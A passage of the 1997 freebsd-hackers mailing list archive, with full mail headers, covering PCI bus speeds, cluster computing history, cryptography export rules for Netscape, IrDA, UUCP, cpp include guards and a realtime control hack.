owner-freebsd-hackers) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA03383 for ; Mon, 6 Oct 1997 08:05:50 -0700 (PDT) (envelope-from narvi@haldjas.folklore.ee) Received: from haldjas.folklore.ee (haldjas.folklore.ee [172.17.2.1] (may be forged)) by haldjas.folklore.ee (8.8.6/8.8.4) with SMTP id RAA28578; Mon, 6 Oct 1997 17:41:14 +0300 (EEST) Date: Mon, 6 Oct 1997 17:41:13 +0300 (EEST) From: Narvi To: "Serge A. Babkin" cc: Robert Swindells , hackers@FreeBSD.ORG Subject: Re: PCI slowness ? In-Reply-To: <199710051540.VAA09237@hq.icb.chel.su> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 5 Oct 1997, Serge A. Babkin wrote: > > > > > > > The chipset is Intel Triton on some chineese motherboard > > > with 75MHz Pentium, memory is 60ns EDO. > > > Theoretical PCI throughput is 33M > > > of 4-byte transfers per second (the card claims to work > > > in burst mode). Theoretical memory throughput is at least > > > 10M of 4-byte transfers per second if we suppose that > > > the memory cycle with all overhead is 100ns and the > > > card reads by 4 bytes at a time. But the experiment > > > shows throughput of only 17MBps or 4.25M of 4 byte > > > transfers. Does the processor eats all the remaining > > > throughput (although I think it must load most of the > > > code it runs at idling into the cache) ? > > > > I thought that a 75MHz Pentium ran the PCI bus at 25MHz, not 33MHz. > > > > Are you sure that the bus on your system is at 33MHz ? > > No, I am not. But the motherboard has possibility to generate 33MHz > and if I were the designer of this card I would use this clock > independently of the processor clock. *ALL* intel chipsets made to date get their PCI bus frequency by dividing the bus frequency with two. For pentium 75, the motherboard (memory bus) speed is 50Mhz and the PCI speed is 25Mhz. The designer of the board has no joice. Sander There is no love, no good, no happiness and no future - all these are just illusions. > > -SB > From owner-freebsd-hackers Mon Oct 6 08:27:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA04751 for hackers-outgoing; Mon, 6 Oct 1997 08:27:48 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA04740 for ; Mon, 6 Oct 1997 08:27:44 -0700 (PDT) (envelope-from rminnich@Sarnoff.COM) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id LAA13654; Mon, 6 Oct 1997 11:27:01 -0400 Date: Mon, 6 Oct 1997 11:27:00 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: jbryant@tfs.net cc: freebsd-hackers@freebsd.org Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710061443.JAA03872@argus.tfs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This will be my last reply off-subject, so sorry to those of you who don't care about clusters. On Mon, 6 Oct 1997, Jim Bryant wrote: > Was not the first at Sandia, using VAXen? '88? The first real demo of a 'cluster supercomputer' benched against a supercomputer was done AFAIK by Mary Mock. She competed the Apollo corporate network against a CDC 7600. The Apollos won, once she got about 150 or so into the mix. This was in .... 1984! She won the usual award for those who are ahead of their time: no one ever cites her or acknowledges the contribution she made. Ah well. Tom Nash et. al. at Fermilab invented the concept of 'crates' in 1984 or so also, an idea which would look very familiar to the cluster users of today. Clusters/NOWS/Beowulfs/COPS/'you name it' as an idea are over a dozen years old. The idea was proved out a long time ago too. People keep rediscovering it. A common event in our field. > Hmmmmm.... Parallel Virtual Machines or some name like that? I > recall that on the test apps, it outperformed a X/MP or Y/MP... PVM is not the same as the '88 vax cluster. See the PVM book from MIT Press. > Do the programs have to be hand-designed, or is there a vectorizing > compiler available? Most are hand-rolled. Compilers are available commercially as well. They sometimes work. DEC has one. Also you should see Aaron Mark's masters thesis in this area (marks@sarnoff.com). It describes a Parallel C compiler we targeted to: Cray3/SSS, Processor-in-memory systems, and to the SPARC cluster we had at the supercomputing research center. > Of course, I always thought that this was simply an extension of the > transputer concept, except using standard networks, and standard > computers instead. Nothing wrong with this. Good point. The question was asked: can you build freebsd clusters and get good work done. The answer is: you can, and you can join the club: people have been doing it for years. It works. There's lots of different types of software to support you. You need to create a catchy name: that's the important part. I don't know why this is. ron From owner-freebsd-hackers Mon Oct 6 09:07:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA07646 for hackers-outgoing; Mon, 6 Oct 1997 09:07:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from phoenix.volant.org (phoenix.volant.org [205.179.79.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA07637 for ; Mon, 6 Oct 1997 09:07:38 -0700 (PDT) (envelope-from patl@phoenix.volant.org) From: patl@phoenix.volant.org Received: from asimov.phoenix.volant.org [205.179.79.65] by phoenix.volant.org with smtp (Exim 1.62 #1) id 0xIFh2-0001gd-00; Mon, 6 Oct 1997 09:07:36 -0700 Received: from localhost by asimov.phoenix.volant.org (SMI-8.6/SMI-SVR4) id JAA12730; Mon, 6 Oct 1997 09:07:24 -0700 Date: Mon, 6 Oct 1997 09:07:24 -0700 (PDT) Reply-To: patl@phoenix.volant.org Subject: Re: Netscape 4.03b8 and Encryption: To: Terry Lambert cc: Bradley Dunn , scrappy@hub.org, hackers@freebsd.org In-Reply-To: <199710052326.QAA23497@usr05.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Better yet, ask them to make encryption pluggable, and ask them for sample > code for a 40 bit encryption, and make a 128 bit module for yourself. > > If you can get someone in S.A. (or elsewhere) to do it, then NetScape > can work around the export restrictions (and Microsoft can't). This > should be very desirable for them, actually. Great idea; but I believe that the export restrictions prohibit pluggable cryptography. -Pat From owner-freebsd-hackers Mon Oct 6 10:26:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA13062 for hackers-outgoing; Mon, 6 Oct 1997 10:26:39 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA13055 for ; Mon, 6 Oct 1997 10:26:32 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xIGvL-00031H-00; Mon, 6 Oct 1997 11:26:27 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id LAA14616 for ; Mon, 6 Oct 1997 11:27:59 -0600 (MDT) Message-Id: <199710061727.LAA14616@harmony.village.org> To: freebsd-hackers@freebsd.org Subject: IrDA Date: Mon, 06 Oct 1997 11:27:59 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm looking at getting a portable Dell which claims to have IrDA. I also just got a Halted catalog that has an ISA IrDA card from IBM. Would I be nuts to expect these two things to talk to one another? Is there anything magical about IrDA, or can I just run SLIP/PPP over them like any other serial port? Also, if I'm running Win95, can I run PPP over IrDA? If I read things, it is just a serial port, right? The ISA IrDA card is for my FreeBSD box, so I'd need to know what support is present there for IrDA. Thanks for any help you might be able to render. Warner From owner-freebsd-hackers Mon Oct 6 10:52:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA14520 for hackers-outgoing; Mon, 6 Oct 1997 10:52:04 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA14497 for ; Mon, 6 Oct 1997 10:52:01 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id KAA14072; Mon, 6 Oct 1997 10:51:42 -0700 (PDT) Message-Id: <199710061751.KAA14072@rah.star-gate.com> To: patl@phoenix.volant.org cc: Terry Lambert , Bradley Dunn , scrappy@hub.org, hackers@FreeBSD.ORG Subject: Re: Netscape 4.03b8 and Encryption: Date: Mon, 06 Oct 1997 10:51:42 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In-reply-to: Your message of "Mon, 06 Oct 1997 09:07:24 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii -------- Nope. Amancio >From The Desk Of patl@phoenix.volant.org : > > Better yet, ask them to make encryption pluggable, and ask them for sample > > code for a 40 bit encryption, and make a 128 bit module for yourself. > > > > If you can get someone in S.A. (or elsewhere) to do it, then NetScape > > can work around the export restrictions (and Microsoft can't). This > > should be very desirable for them, actually. > > Great idea; but I believe that the export restrictions prohibit > pluggable cryptography. > > > > -Pat > > From owner-freebsd-hackers Mon Oct 6 11:30:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA17609 for hackers-outgoing; Mon, 6 Oct 1997 11:30:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from kalypso.cybercom.net (kalypso.cybercom.net [209.21.136.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA17591 for ; Mon, 6 Oct 1997 11:30:14 -0700 (PDT) (envelope-from ksmm@kalypso.cybercom.net) Received: from localhost (ksmm@localhost) by kalypso.cybercom.net (8.8.7/8.8.7) with SMTP id OAA24087 for ; Mon, 6 Oct 1997 14:29:20 -0400 (EDT) Date: Mon, 6 Oct 1997 14:29:17 -0400 (EDT) From: The Classiest Man Alive To: hackers@freebsd.org Subject: Re: Good Lord, Commercial Linux In-Reply-To: <199710061250.IAA27597@gatekeeper.itribe.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Jamie Bowden wrote: : On Sat, 4 Oct 1997, Andreas Klemm wrote: : : > So you are saying that FreeBSD has about half the performance : > as Linux ? You're kidding ;-) : : He's using an expression. Means they are about the same overall, with : FreeBSD being better at some things, and Linux being better at others. : Six of something and a half dozen of something are both six of something. I think the smiley was meant to indicate a joke, guys. K.S. From owner-freebsd-hackers Mon Oct 6 11:33:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA17807 for hackers-outgoing; Mon, 6 Oct 1997 11:33:39 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: (from jmb@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA17779; Mon, 6 Oct 1997 11:33:13 -0700 (PDT) (envelope-from jmb) From: "Jonathan M. Bresler" Message-Id: <199710061833.LAA17779@hub.freebsd.org> Subject: Re: UUCP (important clarification) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 6 Oct 1997 11:33:13 -0700 (PDT) Cc: dk+@ua.net, grog@lemis.com, mike@smith.net.au, pechter@lakewood.com, freebsd-hackers@freebsd.org In-Reply-To: <2369.876125643@time.cdrom.com> from "Jordan K. Hubbard" at Oct 6, 97 01:14:03 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard wrote: > > > Who can decide on this? Is there a conspiracy behind it? ;-) > > Given that I don't particularly *care* about UUCP in the first place, > I really don't mind what goes into 2.2.5 as far as this is concerned. > > Anyone masochistic enough to still use UUCP in this day and age is > also capable of fixing any breakage that may occur, I think. Go for it. ;) just dont break the current support ot taylor config files. taylor should remain the default configuration. jmb From owner-freebsd-hackers Mon Oct 6 11:39:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA18354 for hackers-outgoing; Mon, 6 Oct 1997 11:39:03 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA18339 for ; Mon, 6 Oct 1997 11:38:54 -0700 (PDT) (envelope-from nate@rocky.mt.sri.com) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id MAA15232; Mon, 6 Oct 1997 12:35:52 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id MAA01035; Mon, 6 Oct 1997 12:35:52 -0600 (MDT) Date: Mon, 6 Oct 1997 12:35:52 -0600 (MDT) Message-Id: <199710061835.MAA01035@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Amancio Hasty Cc: patl@phoenix.volant.org, Terry Lambert , Bradley Dunn , scrappy@hub.org, hackers@freebsd.org Subject: Re: Netscape 4.03b8 and Encryption: In-Reply-To: <199710061751.KAA14072@rah.star-gate.com> References: <199710061751.KAA14072@rah.star-gate.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > >From The Desk Of patl@phoenix.volant.org : > > > Better yet, ask them to make encryption pluggable, and ask them for sample > > > code for a 40 bit encryption, and make a 128 bit module for yourself. > > > > > > If you can get someone in S.A. (or elsewhere) to do it, then NetScape > > > can work around the export restrictions (and Microsoft can't). This > > > should be very desirable for them, actually. > > > > Great idea; but I believe that the export restrictions prohibit > > pluggable cryptography. > > > > Nope. If you want to make sure you don't get in trouble, the answer is *yep*. They don't want the end-user to be able to 'skirt' around the issue by using 3rd party software developed out of the country. However, if you can provide a way of doing that isn't *only* for crytography you might get away with it. (I'm not a lawyer, but I have to act like one at work b/c we're doing stuff overseas...) Nate From owner-freebsd-hackers Mon Oct 6 11:40:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA18547 for hackers-outgoing; Mon, 6 Oct 1997 11:40:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA18542 for ; Mon, 6 Oct 1997 11:40:47 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id LAA15367; Mon, 6 Oct 1997 11:40:35 -0700 (MST) From: Terry Lambert Message-Id: <199710061840.LAA15367@usr04.primenet.com> Subject: Re: devfs / cdevsw To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 6 Oct 1997 18:40:34 +0000 (GMT) Cc: tlambert@primenet.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <2510.876126542@time.cdrom.com> from "Jordan K. Hubbard" at Oct 6, 97 01:29:02 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I don't mean that the kerneitself should be, but in general, it is > > a mistake toartifically restrict your market for nothing more than > > religious reasons. Unless your goals are religious... > > Or if your views of "the market" aren't hopelessly antiquated. ;-) > > Somehow I just don't see all those old Xenix box users you mention > storming our gates anytime soon. Neither can I. But of course, I believe that's because they know that our code won't compile for them... 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 11:52:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA19212 for hackers-outgoing; Mon, 6 Oct 1997 11:52:30 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA19035; Mon, 6 Oct 1997 11:49:40 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id LAA15815; Mon, 6 Oct 1997 11:49:32 -0700 (MST) From: Terry Lambert Message-Id: <199710061849.LAA15815@usr04.primenet.com> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD To: rminnich@Sarnoff.COM (Ron G. Minnich) Date: Mon, 6 Oct 1997 18:49:28 +0000 (GMT) Cc: dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG In-Reply-To: from "Ron G. Minnich" at Oct 6, 97 09:09:36 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > A cluster based on FreeBSD would > I suppose have to have a different name, but we've done a lot of computing > over the last three years with such a cluster: works fine. I vote for "Legion", because of the obvious tip of the hat to Chuck... > To my regret, FreeBSD dropped a nice opportunity a few years back to have > the first real distributed shared memory on a free Unix when I offered > them MNFS, but them's the breaks. That distinction went to Linux instead. Same for devfs, same for reschedulable one-shot timers instead of DELAY() loops, same for a number of technologies. FreeBSD is very conservative. > Go for it. Oh yeah if you want the latest ZOUNDS let me know. The earlier > version would not compile on 2.2 due to some #include stupidity on my > part. I'll try to get the latest one out to the web page ASAP. > > Don't forget to pick a catchy name. That's at least as important as what > you do. "We've done flight testing, and it passed. We've done combat systems testing, and it passed. We've don'e manouverability testing, and it passed. We've done avionics testing, and it passed. And we've done ergonomic testing, and it passed. All tests passed, with flying colors. But the Air Force won't buy it until we can caome up with a mean sounding name." -- cartoon in Radio Electronics magazine Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 11:52:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA19259 for hackers-outgoing; Mon, 6 Oct 1997 11:52:53 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA19248 for ; Mon, 6 Oct 1997 11:52:50 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id LAA15966; Mon, 6 Oct 1997 11:52:20 -0700 (MST) From: Terry Lambert Message-Id: <199710061852.LAA15966@usr04.primenet.com> Subject: Re: Netscape 4.03b8 and Encryption: To: patl@phoenix.volant.org Date: Mon, 6 Oct 1997 18:52:19 +0000 (GMT) Cc: tlambert@primenet.com, bradley@dunn.org, scrappy@hub.org, hackers@FreeBSD.ORG In-Reply-To: from "patl@phoenix.volant.org" at Oct 6, 97 09:07:24 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Better yet, ask them to make encryption pluggable, and ask them for sample > > code for a 40 bit encryption, and make a 128 bit module for yourself. > > > > If you can get someone in S.A. (or elsewhere) to do it, then NetScape > > can work around the export restrictions (and Microsoft can't). This > > should be very desirable for them, actually. > > Great idea; but I believe that the export restrictions prohibit > pluggable cryptography. EBones. Any pluggable technology can be used to plug cryptography. Would you have me believe that pluggable technologies are prohibited? What about the socket for the DES chip on Sun SPARC Machines? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 11:55:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA19461 for hackers-outgoing; Mon, 6 Oct 1997 11:55:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA19451 for ; Mon, 6 Oct 1997 11:55:27 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id LAA16179; Mon, 6 Oct 1997 11:55:07 -0700 (MST) From: Terry Lambert Message-Id: <199710061855.LAA16179@usr04.primenet.com> Subject: Re: Netscape 4.03b8 and Encryption: To: hasty@rah.star-gate.com (Amancio Hasty) Date: Mon, 6 Oct 1997 18:55:07 +0000 (GMT) Cc: patl@phoenix.volant.org, tlambert@primenet.com, bradley@dunn.org, scrappy@hub.org, hackers@FreeBSD.ORG In-Reply-To: <199710061751.KAA14072@rah.star-gate.com> from "Amancio Hasty" at Oct 6, 97 10:51:42 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Great idea; but I believe that the export restrictions prohibit > > pluggable cryptography. > > Nope. Oh... another example: the current Eudora version has a pluggable interface for PGP encryption instead of including it itself, so that it can be exported. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 12:09:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA20312 for hackers-outgoing; Mon, 6 Oct 1997 12:09:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from relay6.UU.NET (relay6.UU.NET [192.48.96.16]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA20307 for ; Mon, 6 Oct 1997 12:09:13 -0700 (PDT) (envelope-from cj@accom.com) Received: from uucp2.UU.NET by relay6.UU.NET with SMTP (peer crosschecked as: uucp2.UU.NET [192.48.96.40]) id QQdkcy22579; Mon, 6 Oct 1997 15:09:25 -0400 (EDT) Received: from accom.UUCP by uucp2.UU.NET with UUCP/RMAIL ; Mon, 6 Oct 1997 15:09:11 -0400 Received: from accom (accom [192.20.200.100]) by fugue (8.6.9/8.6.9) with ESMTP id MAA25982; Mon, 6 Oct 1997 12:05:54 -0700 Received: from flea (flea [192.20.202.127]) by accom (8.6.9/8.6.9) with SMTP id MAA17341; Mon, 6 Oct 1997 12:05:52 -0700 Message-ID: <343936C3.794BDF32@accom.com> Date: Mon, 06 Oct 1997 12:06:43 -0700 From: Colin Jensen X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.1.0-RELEASE i386) MIME-Version: 1.0 To: Terry Lambert CC: freebsd-hackers@FreeBSD.ORG Subject: Re: Minor error (?) in regex.h References: <199710052341.QAA24216@usr05.primenet.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The stuff in /usr/include isn't meant to be standalone - it's a > > hysterically religious thing. > > Having to do with relative compilation times based on how the C > preprocessor works. If you mean that the preprocessor must read the file multiple times, that's not a good reason. The GNU preprocessor is smart enough to notice if a header file is wrapped with #ifndef IDENT and will avoid reading the header file the second time it is included if IDENT is defined. > The problem with making the cpp "know" the file to be included is > already in scope is truly religious history: you can't be sure > that some idiot trying to program C++ in C didn't define something, > #include a file which ##'ed the something as a prefix/suffix, then > redefined the thing, and included the same file again (think of > "template classes for C" and you will get the -- nauseating -- picture). I beleive GNU's cpp will handle this correctly: Since a C Template file will not be wrapped with an #ifndef, it will be read multiple times as the programmer intended. - Colin "Beleiver in Emacs and Stand-alone include files" Jensen From owner-freebsd-hackers Mon Oct 6 12:09:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA20356 for hackers-outgoing; Mon, 6 Oct 1997 12:09:34 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA20342 for ; Mon, 6 Oct 1997 12:09:28 -0700 (PDT) (envelope-from tom@sdf.com) Received: from tom by misery.sdf.com with smtp (Exim 1.71 #1) id 0xIIUj-0005fs-00; Mon, 6 Oct 1997 12:07:05 -0700 Date: Mon, 6 Oct 1997 12:07:04 -0700 (PDT) From: Tom To: Jamie Bowden cc: hackers@freebsd.org Subject: Re: UUCP (important clarification) In-Reply-To: <199710061405.KAA27927@gatekeeper.itribe.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Jamie Bowden wrote: > I found gated much easier to deal with than UUCP. Must be an individual > thing. Not really relevant, but: It depends on your background. If you have a lot of mail backgroup, UUCP is fairly easy, because you now how things are supposed to fit together. If you have a lot of networking background, and know the different routing protocols and their features, configuring gated is pretty straightforward, because you know what you want to do, you just need to describe it. If you don't have exposure to the various routing protocols, and some understanding, you are pretty much dead in the water. > Jamie Bowden > System Administrator, iTRiBE.net > > Abusenet: The Misinformation Superhighway Tom From owner-freebsd-hackers Mon Oct 6 12:28:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA21525 for hackers-outgoing; Mon, 6 Oct 1997 12:28:00 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA21514 for ; Mon, 6 Oct 1997 12:27:55 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id MAA14651; Mon, 6 Oct 1997 12:27:16 -0700 (PDT) Message-Id: <199710061927.MAA14651@rah.star-gate.com> To: Nate Williams cc: patl@phoenix.volant.org, Terry Lambert , Bradley Dunn , scrappy@hub.org, hackers@freebsd.org Subject: Re: Netscape 4.03b8 and Encryption: In-reply-to: Your message of "Mon, 06 Oct 1997 12:35:52 MDT." <199710061835.MAA01035@rocky.mt.sri.com> Date: Mon, 06 Oct 1997 12:27:16 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Usual disclaimer with respect to this issue: I am not a lawyer. Currently, my day job involves network security for a very big firm and yes we have to deal with export issues. Amancio >From The Desk Of Nate Williams : > > > > >From The Desk Of patl@phoenix.volant.org : > > > > Better yet, ask them to make encryption pluggable, and ask them for sample > > > > code for a 40 bit encryption, and make a 128 bit module for yourself. > > > > > > > > If you can get someone in S.A. (or elsewhere) to do it, then NetScape > > > > can work around the export restrictions (and Microsoft can't). This > > > > should be very desirable for them, actually. > > > > > > Great idea; but I believe that the export restrictions prohibit > > > pluggable cryptography. > > > > > > > Nope. > > If you want to make sure you don't get in trouble, the answer is *yep*. > They don't want the end-user to be able to 'skirt' around the issue by > using 3rd party software developed out of the country. However, if you > can provide a way of doing that isn't *only* for crytography you might > get away with it. > > (I'm not a lawyer, but I have to act like one at work b/c we're doing > stuff overseas...) > > > > > > Nate From owner-freebsd-hackers Mon Oct 6 12:57:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA23529 for hackers-outgoing; Mon, 6 Oct 1997 12:57:40 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hda.hda.com (hda-bicnet.bicnet.net [208.220.66.37]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA23516 for ; Mon, 6 Oct 1997 12:57:32 -0700 (PDT) (envelope-from dufault@hda.hda.com) Received: (from dufault@localhost) by hda.hda.com (8.8.5/8.8.5) id PAA12422; Mon, 6 Oct 1997 15:08:42 -0400 (EDT) From: Peter Dufault Message-Id: <199710061908.PAA12422@hda.hda.com> Subject: Re: A world of unexplored pain. In-Reply-To: from mdean at "Oct 5, 97 12:21:38 pm" To: mdean@best.com (mdean) Date: Mon, 6 Oct 1997 15:08:38 -0400 (EDT) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > me to use some dedicated controller board) if that was all I wanted... I did something like this in 386bsd days for a combustion experiment. I ran the clock tick at 100 times HZ, and called an outside of the OS ticker at that rate and the OS every 100 times. This ticker was driving a stepper motor controlled throttle which it was microstepping. Every N times (I think about 5 seconds, so we're talking about N=500) it would also calculate a servo update for the throttle from sensors read in an A-D board. I used the clock on the A-D board to watch for lost ticks by setting it for something like (N + fudge) times the tick interval and verifying it wasn't pending when I got to the control. Communication with this "virtual board" was via a regular device driver that could set up profile schedules and so on via ioctls. We could telnet into the box, display status in a remote xterm, etc, without screwing things up. It was a hack but worked well. Things have grown a lot since then. -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Safety critical systems, Agency approval From owner-freebsd-hackers Mon Oct 6 13:00:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA23805 for hackers-outgoing; Mon, 6 Oct 1997 13:00:42 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from shrimp.dataplex.net (shrimp.dataplex.net [208.2.87.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA23788 for ; Mon, 6 Oct 1997 13:00:36 -0700 (PDT) (envelope-from rkw@dataplex.net) Received: from [204.69.236.50] (GATEWAY.SKIPSTONE.COM [198.214.10.129]) by shrimp.dataplex.net (8.8.5/8.8.5) with 